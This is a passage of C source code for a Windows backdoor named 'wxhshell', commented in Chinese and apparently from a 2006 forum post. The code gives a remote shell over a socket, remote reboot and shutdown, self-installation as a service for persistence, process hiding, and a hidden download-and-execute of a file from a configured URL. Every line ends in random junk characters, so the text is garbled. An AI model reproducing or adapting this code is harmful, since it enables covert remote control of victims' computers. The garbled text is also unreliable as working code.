  case '?': { g9M')8a n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KsZ@kTs  
    break; NJ.rv  
  } ,"x23=]  
  // 安装 Pv^(Q ]  
  case 'i': { F@B  
    if(Install()) +Kxe ymwr2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &t[z  
    else N'htcC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f34_?F<h  
    break; 6s> sj7  
    } u}Lc|_ea`  
  // 卸载 0TpBSyx.  
  case 'r': { _3s~!2  
    if(Uninstall()) [8 {_i?wY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U+(Z#b(Q  
    else b5lk0jA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &8pCHGmV)  
    break; (7M^-_q]D  
    } @$2`DI{_^  
  // 显示 wxhshell 所在路径 =ZxW8 DK  
  case 'p': { "bv,I-\  
    char svExeFile[MAX_PATH]; x8\E~6`,  
    strcpy(svExeFile,"\n\r"); d/"gq}NT  
      strcat(svExeFile,ExeFile); R>Z,TQU  
        send(wsh,svExeFile,strlen(svExeFile),0); +s#S{b  
    break; 45]Ym{]  
    } AGw1Pl8]K  
  // 重启  EGp~Vo-  
  case 'b': { WZfk}To1#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }|w=7^1z  
    if(Boot(REBOOT)) Oex{:dO "F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |!?2OTY  
    else { rD:gN%B=  
    closesocket(wsh); ykErt%k<n  
    ExitThread(0); E geG,/-`  
    } 23(B43zy  
    break; ,-w-su=J_  
    } $)kk8Q4+K  
  // 关机 jx^|2  
  case 'd': { *+_fP|cv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;t.SiA  
    if(Boot(SHUTDOWN)) =NVZ$KOZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fvAh?<Ul  
    else { [lDt0l5^  
    closesocket(wsh); M=" WUe_  
    ExitThread(0); > gA %MT  
    } )R [@G.  
    break; q/W{PBb-2k  
    } hP'~  
  // 获取shell \'\N"g`Fr  
  case 's': { sR7{i  
    CmdShell(wsh); l8hvq(,{  
    closesocket(wsh); .FfwY 'V  
    ExitThread(0); T! &[  
    break; &0;{lS[N:L  
  } P#vv+]/  
  // 退出 3B!&ow<rt  
  case 'x': { N}.Q%&6:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $sd3h\P&R  
    CloseIt(wsh); ];d5X  
    break; i_oro "%yL  
    } ;-Y]X(z>  
  // 离开 mh!N^[=n  
  case 'q': { g:~?U*f-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?~]1Gd  
    closesocket(wsh); 3iwoMrp  
    WSACleanup(); "w:\@Jwu(  
    exit(1); |k['wqn"  
    break; YoSo0fQA  
        } !Vp,YN+yN  
  } ^C,/T2>  
  } $ ufSNx(F  
9H !B)  
  // 提示信息 dw{#||  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SoXX}<~E4  
} ~P"!DaAf  
  } B BApL{  
hy!'Q>[`  
  return; = C$ @DNEc  
} i 5 >J  
E7Gi6w~\  
// shell模块句柄 %>I?'y^  
int CmdShell(SOCKET sock) c'TiWZP~  
{ Y*5@|Q  
STARTUPINFO si; 5CRc]Q #@  
ZeroMemory(&si,sizeof(si)); &2<&X( )  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }Uqa8&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N%n1>!X)!  
PROCESS_INFORMATION ProcessInfo; #+k .b_LS  
char cmdline[]="cmd"; &}L36|A:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &4[#_(pk  
  return 0; ~Uwr68 9N  
} rlUdAa3  
K[Egwk7  
// 自身启动模式 buC m @@o  
int StartFromService(void) (to/9OrG  
{ 0$F _hZU  
typedef struct =Nv= Q mO  
{ +,{Wcb  
  DWORD ExitStatus; <g/(wSl  
  DWORD PebBaseAddress; H8o%H=I%  
  DWORD AffinityMask; 8 /RfNGY  
  DWORD BasePriority; d <|lLNS  
  ULONG UniqueProcessId; cc2oFn  
  ULONG InheritedFromUniqueProcessId; H>X\C;X[  
}   PROCESS_BASIC_INFORMATION; ^NnU gj  
nY"rqILX?  
PROCNTQSIP NtQueryInformationProcess; c=jI.=mi3  
6b+ Wl Ib  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  Vgru, '  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _/z)&0DO  
_]?Dt%MkD  
  HANDLE             hProcess; @dT: 1s  
  PROCESS_BASIC_INFORMATION pbi; E^EU+})Ujr  
ai;gca_P#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J?n)FgxS  
  if(NULL == hInst ) return 0; [-:<z?(n4  
&\6`[# bT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); } {gWTp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oZ*=7u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BhE~k?$9  
#1qVFU  
  if (!NtQueryInformationProcess) return 0; D?*sdm9r`  
_'v }=:X  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u=v%7c2Mx}  
  if(!hProcess) return 0; qeK  
tE9_dR^K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N`|Ab(.  
13_+$DhU-L  
  CloseHandle(hProcess); x4HMT/@AG2  
'j,Li(@}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8)q]^  
if(hProcess==NULL) return 0; yZ(Nv $[5  
yK>0[6l  
HMODULE hMod; q:~`7I  
char procName[255]; }96/: ;:k  
unsigned long cbNeeded; 2t`9_zqLw  
meM.?kk(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |>/&EElD  
/Y\E68_Fh  
  CloseHandle(hProcess); eI=Y~jy  
?C>VB+X}y  
if(strstr(procName,"services")) return 1; // 以服务启动 ,0<F3h  
X?}GPA4 W  
  return 0; // 注册表启动 $v bAcWj  
} BqEubP(si  
sh)) [V"8  
// 主模块 @<w9fzi  
int StartWxhshell(LPSTR lpCmdLine) vA7jZw  
{ A2O_pbQti  
  SOCKET wsl; "TH-A6v1  
BOOL val=TRUE; O"s`-OM;n  
  int port=0; ^* /v,+01f  
  struct sockaddr_in door; 3W0E6H"  
k.%W8C<Pa  
  if(wscfg.ws_autoins) Install(); 1KIq$lG{ E  
o YI=p3l  
port=atoi(lpCmdLine); zs]/Y2  
LG@c)H74  
if(port<=0) port=wscfg.ws_port; L};;o+5uJD  
6<Pg>Bg  
  WSADATA data; + x ;ML  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5N3!!FFE  
HfeflGme*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]R0A{+]n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); luz%FY:  
  door.sin_family = AF_INET; [|;Zxb:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ':R3._tw\  
  door.sin_port = htons(port); k\thEEVP0*  
8$jT#\_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `@.s!L(V  
closesocket(wsl); +@7x45;D  
return 1; oQjB&0k4  
} &_^*rD~  
@Jn:!8U0  
  if(listen(wsl,2) == INVALID_SOCKET) { w KMk|y>  
closesocket(wsl); y[5P<:&s  
return 1; Ccd7|L1  
} vyx\N{  
  Wxhshell(wsl); Lv5 ==w}  
  WSACleanup(); 0qd;'r<  
n\ ',F  
return 0; J)yy}[Fx  
lbuW*)  
} =UKR<@QrK  
.gkPG'm[  
// 以NT服务方式启动 7D~O/#dcc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =5=Vm[  
{ y>cmKE  
DWORD   status = 0; w3bH|VnU8;  
  DWORD   specificError = 0xfffffff; 5NvyK[w]  
${?exnb$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Dx# @D#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3(GrDO9^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yjFQk,A  
  serviceStatus.dwWin32ExitCode     = 0; 2:5gMt  
  serviceStatus.dwServiceSpecificExitCode = 0; \^(vlcy  
  serviceStatus.dwCheckPoint       = 0; 7 KdM>1!  
  serviceStatus.dwWaitHint       = 0; Q|H cg|  
8OtUY}R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WT!\X["FI$  
  if (hServiceStatusHandle==0) return; |%cO"d^ri  
O2/w:zOg'  
status = GetLastError(); aE cg_es  
  if (status!=NO_ERROR) g*c\'~f;  
{ |>}0? '/]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; WKJL< D ]:  
    serviceStatus.dwCheckPoint       = 0; }nY^T&?`  
    serviceStatus.dwWaitHint       = 0; "oXAIfU#T  
    serviceStatus.dwWin32ExitCode     = status; XQY&4tK  
    serviceStatus.dwServiceSpecificExitCode = specificError; @] "9EW 0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lgqL)^8A  
    return; E!~2\qKT  
  } &b6@_C9  
I \%Lb z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >h( rd1  
  serviceStatus.dwCheckPoint       = 0; Tl7:}X<?  
  serviceStatus.dwWaitHint       = 0; t7+Ic  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '=5_u  
} 5 /jY=/0.a  
|QTqa~~B  
// 处理NT服务事件,比如:启动、停止 8EEQV}4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IS4K$Ac.  
{ W#\};P  
switch(fdwControl) Z#:@M[HH{  
{ m'"VuH?^  
case SERVICE_CONTROL_STOP: n@,eZ!  
  serviceStatus.dwWin32ExitCode = 0; p{svXP K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W#_gvW  
  serviceStatus.dwCheckPoint   = 0; vMdhNOU  
  serviceStatus.dwWaitHint     = 0; Lz{T8yvZ  
  { !=:MG#p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &trh\\I"  
  } -LK(C`gB  
  return; f=O>\  
case SERVICE_CONTROL_PAUSE: g+r{>x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; BCZnF /Zo  
  break; +siNU#!  
case SERVICE_CONTROL_CONTINUE: 8Y~T$Yj^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >upUY(3&  
  break; RkP|_Bf8)  
case SERVICE_CONTROL_INTERROGATE: ~(L+4]  
  break; [K@!JY  
}; ~)IJE+e>}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WJ4UJdf'  
} @%G"i:HZ&  
]JPPL4wAT  
// 标准应用程序主函数 \lIHC{V\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UXB8sS*wQ?  
{ JU \J  
|=}~>!!  
// 获取操作系统版本 I%C:d#p  
OsIsNt=GetOsVer(); Bo\v-97  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?F!J@Xn5  
5N+(Gv[`"  
  // 从命令行安装 oqHm:u ^2  
  if(strpbrk(lpCmdLine,"iI")) Install(); M &EJFpc*  
.LcE^y[V  
  // 下载执行文件 '<D}5u7 2  
if(wscfg.ws_downexe) { 78~V/L;@S2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'p+QFT>Ca  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;p!hd }C  
} :BxYaAVt^  
ZLX`[   
if(!OsIsNt) { Ns8NaD  
// 如果时win9x,隐藏进程并且设置为注册表启动 WzbN=& C]h  
HideProc(); 7{F9b0zwk  
StartWxhshell(lpCmdLine); 7#. PMyK9  
} kGiw?~t=%  
else  !Ocg  
  if(StartFromService()) k#NMD4(%O  
  // 以服务方式启动 afq +;Sh  
  StartServiceCtrlDispatcher(DispatchTable); n(O p<  
else )^#Zg8L  
  // 普通方式启动 {&qsh9ob  
  StartWxhshell(lpCmdLine); 2MzFSmhc"  
PH!B /D5G  
return 0; G/44gKl  
}
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只看该作者 1 发表于: 2006-10-10
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